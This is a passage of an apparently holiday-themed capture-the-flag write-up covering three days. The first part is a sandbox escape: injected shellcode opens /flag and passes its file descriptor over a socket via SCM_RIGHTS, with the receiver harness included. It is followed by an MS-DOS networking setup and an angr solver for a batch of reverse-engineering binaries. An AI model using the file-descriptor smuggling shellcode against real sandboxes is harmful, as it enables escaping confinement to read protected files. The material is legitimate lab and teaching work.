if (read(0, code, 0x1000) < 0) {
perror("read");
return 1;
}
puts("🧝 Protecting station from South Pole elfs...");
if (setup_sandbox() != 0) {
perror("setup_sandbox");
return 1;
}
// puts("🎙️ Beginning uplink communication...");
((void (*)())(code))();
There is a way to send file descriptors over sockets in Linux. We can inject a socket into the challenge binary and send the file descriptor over it.
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/uio.h>
#define RAW_SYSCALL(num, a1, a2, a3, a4, a5, a6) \
({ \
long _ret; \
register long _r10 __asm__("r10") = (long)(a4); \
register long _r8 __asm__("r8") = (long)(a5); \
register long _r9 __asm__("r9") = (long)(a6); \
__asm__ volatile( \
"syscall" \
: "=a"(_ret) \
: "a"(num), "D"(a1), "S"(a2), "d"(a3), \
"r"(_r10), "r"(_r8), "r"(_r9) \
: "rcx", "r11", "memory" \
); \
_ret; \
})
#define SYS_openat 257
#define SYS_sendmsg 46
#define SYS_exit 60
int main() {
int sock = 3;
char flag_path[6] = {'/', 'f', 'l', 'a', 'g', 0};
// open /flag
int fd = RAW_SYSCALL(SYS_openat, AT_FDCWD, flag_path, O_RDONLY, 0, 0, 0);
// setup iovec
char d = 'X';
struct iovec iov = { &d, 1 };
// ancillary data buffer
char control[CMSG_SPACE(sizeof(int))];
struct msghdr msg = {0};
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = control;
msg.msg_controllen = CMSG_SPACE(sizeof(int));
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
*(int *)CMSG_DATA(cmsg) = fd;
// send FD
RAW_SYSCALL(SYS_sendmsg, sock, &msg, 0, 0, 0, 0);
// exit
RAW_SYSCALL(SYS_exit, 0, 0, 0, 0, 0, 0);
}
Compiled using gcc by:
1
gcc sender.c -o sender
To extract the byte code and write it to a new file we can use Python.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.arch = 'amd64'
def read_function(binary_path, function_name):
binary = ELF(binary_path)
func = binary.functions[function_name]
base = binary.address
offset = func.address - base
with open(binary_path, "rb") as f:
f.seek(offset)
content = f.read(func.size)
return content
content = read_function("./sender", "main")
with open("payload.bin", "wb") as f:
f.write(content)
The final script executes the payload and inputs the byte code. Moreover, it contains a receiver part to get the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <string.h>
#include <sched.h>
#include <sys/wait.h>
#include <sys/utsname.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
#include <fcntl.h>
static int recv_fd(int sock) {
char control[CMSG_SPACE(sizeof(int))];
struct msghdr msg = {0};
struct iovec iov;
char dummy;
iov.iov_base = &dummy;
iov.iov_len = 1;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = control;
msg.msg_controllen = sizeof(control);
if (recvmsg(sock, &msg, 0) <= 0) {
perror("recvmsg");
exit(1);
}
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
int fd;
memcpy(&fd, CMSG_DATA(cmsg), sizeof(int));
return fd;
}
static int child(void *arg) {
int fd = *(int*)arg;
dup2(fd, 3);
close(fd);
int payload_fd = open("payload.bin", O_RDONLY);
if (payload_fd < 0) {
perror("open payload.bin");
return 1;
}
dup2(payload_fd, 0);
execl("/challenge/northpole-relay", "northpole-relay", NULL);
perror("execl");
exit(1);
}
int main() {
int sv[2];
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) {
perror("socketpair");
exit(1);
}
char *stack = malloc(65536);
pid_t pid = clone(child, stack + 65536, SIGCHLD, &sv[1]);
if (pid < 0) {
perror("clone");
exit(1);
}
close(sv[1]);
int fd = recv_fd(sv[0]);
printf("[receiver] got FD %d\n", fd);
char buf[256];
int n = read(fd, buf, sizeof(buf)-1);
if (n > 0) {
buf[n] = 0;
printf("[receiver] flag content: %s\n", buf);
}
close(fd);
return 0;
}
Day 11 - MS-DOS
Day 11 starts with a introduction to the computer world in 1994 and specifies that the only goal is to achieve a connection to 192.168.13.37:1337.
🎅🎄 A Surprise From the Bottom of Santa’s Bag… ✨
While Santa was unloading gifts this year, something thumped at the very bottom of his Christmas bag.
After brushing off a blizzard of stale cookie crumbs ❄️🍪, he discovered…🖥️ A BRAND NEW COMPUTER! 💾
(Brand new… in 1994, that is.)It comes with a stack of vintage floppy disks, a power brick that absolutely should not be this warm 🔌🔥, and a handwritten North Pole Tech Support card that simply reads:
“Good luck setting it up! Ho-ho-retro!”
So fire up that beige box, pop in a floppy or three, and prepare yourself—
because nothing says Happy Holidays like convincing 30-year-old hardware to connect to the network! 🎁When things inevitably go sideways, don’t panic—
📞 NORTH POLE TECH SUPPORT: 1-800-242-8478
🧝♂️🔧 North Pole elves are standing by to assist you with any tech-support needs.
Seriously. Call them. They’d be happy to help; just let them know what you’re seeing.Once you’ve got the system up and running—and after you’ve battled the screeching modem 📡 to get online—
🎁 connect to192.168.13.37on port1337to earn your flag.
The challenge can be started by running /challenge/launch.
Intall the necessary Drivers
Firstly, we need to install MS-DOS on the machine for that we can use the floppy disks 0,1,2. The process is quite intuitive.
After that you need to insert the floppy disk 8. The PCNET drive contains the drivers for networking. At this point, we can execute the driver with the arguments INT=0x60 and BUSTYPE=PCI.
1
A:\PKTDRVR\PCNTPK.COM INT=0x60 BUSTYPE=PCI
Now you can mount the MTCP driver. For that you need to mount floppy disk 7.
Before actually executing the nc utility, we need to create a config file. The file must contain the following config.
1
2
3
4
5
PACKETINT 0x60
IPADDR 192.168.13.20
NETMASK 255.255.255.0
GATEWAY 192.168.13.1
NAMESERVER 1.1.1.1
When this is done you can you can set the config variable.
1
set mtcpcfg=C:\mtcp.cfg
Solution
Now you can get the flag by executing the nc utility which is normal netcat.
1
nc -target 192.168.13.37 1337
Day 12 - Reverse Engineering
Day 12 is about reverse engineering several hundred files which follow the same structure, they accept input and then modify it, finally they compare it against a predefined value.
The challenge executes each binary in /challenge/naughty-or-nice with the input from the /list directory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh
set -eu
for path in /challenge/naughty-or-nice/*; do
[ -f "$path" ] || continue
digest=$(basename "$path")
input="/list/$digest"
if [ ! -f "$input" ]; then
echo "$digest: missing"
exit 1
fi
if output=$("$path" < "$input" 2>&1); then
cat "$input"
else
echo "$digest: $output"
exit 1
fi
done
Solution
My solution uses angr to dynamically calculate the input, the input is then put into a file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import angr
import claripy
from angr.storage.file import SimFileStream
import os
from elftools.elf.elffile import ELFFile
from capstone import Cs, CS_ARCH_X86, CS_MODE_64
import time
def solve_file(path,out):
with open(path, "rb") as f:
elf = ELFFile(f)
text = elf.get_section_by_name(".text")
text_data = text.data()
text_addr = text['sh_addr']
disasm = Cs(CS_ARCH_X86, CS_MODE_64)
syscall_addresses = []
for instr in disasm.disasm(text_data, text_addr):
if instr.mnemonic == "syscall":
syscall_addresses.append(instr.address)
f.close()
print(f"Starting solving {path} with correct syscall at {hex(syscall_addresses[1])} and bad syscall at {hex(syscall_addresses[3])}")
start = time.time()
proj = angr.Project(path, auto_load_libs=False)
sym_input = claripy.BVS("sym_input", 0x100 * 8)
stdin_file = SimFileStream(name="stdin", content=sym_input, has_end=False)
state = proj.factory.full_init_state(stdin=stdin_file)
state.options.add(angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS)
state.options.add(angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY)
state.options.add(angr.options.UNICORN)
success_addr = syscall_addresses[1]
fail_addr = syscall_addresses[3]
sim_manager = proj.factory.simulation_manager(state)
sim_manager.explore(find=success_addr, avoid=fail_addr)
if sim_manager.found:
found_state = sim_manager.found[0]
solution = found_state.solver.eval(sym_input, cast_to=bytes)
print(f"Found valid solution: {solution.decode()}")
basename = os.path.basename(path)
with open(os.path.join(out,basename),"wb") as file:
file.write(solution)
file.close()
else:
print("No valid solution found for file.")
end = time.time()
length = end - start
print(f"It took {round(length,2)} seconds!")
def main():
directory_path = "naughty-or-nice"
out = "out"
for file_name in os.listdir(directory_path):
file_path = os.path.join(directory_path, file_name)
basename = os.path.basename(file_path)
if os.path.isfile(os.path.join(out,basename)):
continue
if os.path.isfile(file_path):
solve_file(file_path,out)
if __name__ == '__main__':
main()
Final Notes
MERRY CHRISTMAS





